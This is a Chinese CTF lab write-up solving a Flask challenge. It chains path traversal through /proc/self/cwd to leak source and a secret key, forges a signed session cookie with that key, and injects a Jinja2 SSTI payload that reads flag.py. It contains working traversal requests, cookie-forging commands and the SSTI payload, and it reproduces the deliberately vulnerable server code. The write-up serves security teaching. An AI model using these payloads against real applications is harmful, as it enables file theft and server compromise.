通过在任意文件读取的靶场进行实验,研究 Flask 框架的 session 原理和 Flask 模板注入漏洞原理。靶场的搭建信息如下:

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
    ports:
      - 5000:5000

一、靶场解题过程

开局一路点过来,到这个界面。看到有个 name 参数,尝试一下其它参数值。

开局提交了用户名,点击链接进入这个界面。

出现了路径信息,看来参数是文件名。

尝试使用../访问上级目录,没有过滤,可以访问到其它路径内容。

那这样基本就实现了任意文件读取,接下来就是看看要读取什么文件了。

查看一下/proc/self/cmdline,看看当前进程是用什么命令启动的。

注意这里的分隔符,输出的是,所以在开发者工具里才能看得见。

所以,进程指令是:

python server.py

1. 读取代码

下一步是找到 server.py 文件的位置,可以通过/proc/self/environ 查看环境变量,间接找到工作目录,也可以直接从/proc/self/cwd 访问到工作目录。

cwd(current word directory)意思就是当前工作路径,访问/proc/self/cwd/server.py 就能看到 server.py 的内容。

换行的问题可以通过开发者工具辅助解决。

server.py 的内容(我加了注释):

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    # 获取表单中的 n1code 参数,并且过滤非法字符
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    # 将过滤后的 n1code 放入 session,但前提条件是 session 中的 n1code 是空才会放入
    # 所以如果伪造一个 session,n1code 就不会被替换掉了
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    # 此处直接将 session 中 n1code 的值写入模板,导致注入漏洞
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

通过代码得知同路径下还有一个 key.py 文件和 flag.py 文件。

key.py 中包含一个密钥值,用于 session 的加解密。

#!/usr/bin/python

key = 'Drmhze6EPcv0fN_81Bj-nA'

flag.py 的内容被拦截了,如代码所示,URL 中包含 flag 关键词就会返回 nofollow.txt 的把内容。

2. 伪造 session

由于没法直接读取 flag.py 文件,只能从代码中入手。发现代码中对请求体中的 n1code 参数进行了过滤,然后当 sessionn1code 为空时,将过滤后的 n1code 写入 session

那么就存在一个问题,只要让 session 中的 n1code 值不为空,就不会被替换掉,并且这个值会被写入模板中。

现在的任务是伪造一个合法的 session,我们已经从 key.py 中知道了密钥,剩下的就用工具生成 session 即可。 Flask 的 session 加解密机制会在下面介绍

使用工具 flask-session-cookie-manager,项目地址:GitHub – noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

需要先安装 itsdangerous 前置

pip install itsdangerous

先从开发者工具找到 session 值

目前持有的信息:

session = "eyJuMWNvZGUiOm51bGx9.ZepwZg.xHRriVRs7MtRI8c6LVwndWEXzu4"
key = 'Drmhze6EPcv0fN_81Bj-nA'

用工具解密,-s 指定密钥,-c 指定 session 值

PS C:Usershkt1998> python flask_session_cookie_manager3.py decode -s 'Drmhze6EPcv0fN_81Bj-nA' -c 'eyJuMWNvZGUiOm51bGx9.ZepwZg.xHRriVRs7MtRI8c6LVwndWEXzu4'
{'n1code': None}

其实 flask session 并没有对内容进行加密,只对内容生成了个完整性校验码,可以看到 session 值分为三部分,用点号进行分割。第一部分为 Session Data ,即会话数据。第二部分为 Timestamp ,即时间戳。第三部分为 Cryptographic Hash ,即加密哈希。将第一段内容拿去 base64 解码,就能看到明文信息。

尝试将 n1code 的值改为 testaaa,加密写入 session-s 指定密钥,-t 指定要加密的字符串。注意引号要用反斜杠转义

PS C:Usershkt1998> python flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"n1code" : "testaaa"}'
eyJuMWNvZGUiOiJ0ZXN0YWFhIn0.ZeqEVw.TfD3k5N9L52WqLY8gUP-01M0SmI

抓包重发请求,将 n1code 设为 abcsession 设为刚才加密的结果。

可以看到响应中写入的是 testaaa 而不是 abc,说明 session['n1code']没有被覆盖。

3. 模板注入

既然已经绕过过滤代码,那就可以往模板中写入 payload 了。

Flask 的模板引擎只支持部分的 python 语句和表达式,默认函数是不支持的,所以需要 python 的魔法函数来执行想用的函数。 payload 的构造原理会在下面介绍

payload 如下:

{{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/cwd/flag.py').read()}}

生成 session(此处双引号用反斜杠转义,单引号用单引号转义):

PS C:Usershkt1998> python flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"n1code":"{{''''.__class__.__mro__[2].__subclasses__()[40](''/proc/self/cwd/flag.py'').read()}}",}'
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNDBdKCcvcHJvYy9zZWxmL2N3ZC9mbGFnLnB5JykucmVhZCgpfX0ifQ.Zeq9fg.F4zlUBoeC33odFkP4sMEN04kfEQ

成功拿到 flag!

二、 Linux 的 proc 目录

三、 Flask 的 session 机制

四、模板注入漏洞

订阅评论
提醒
guest

0 评论
内联反馈
查看所有评论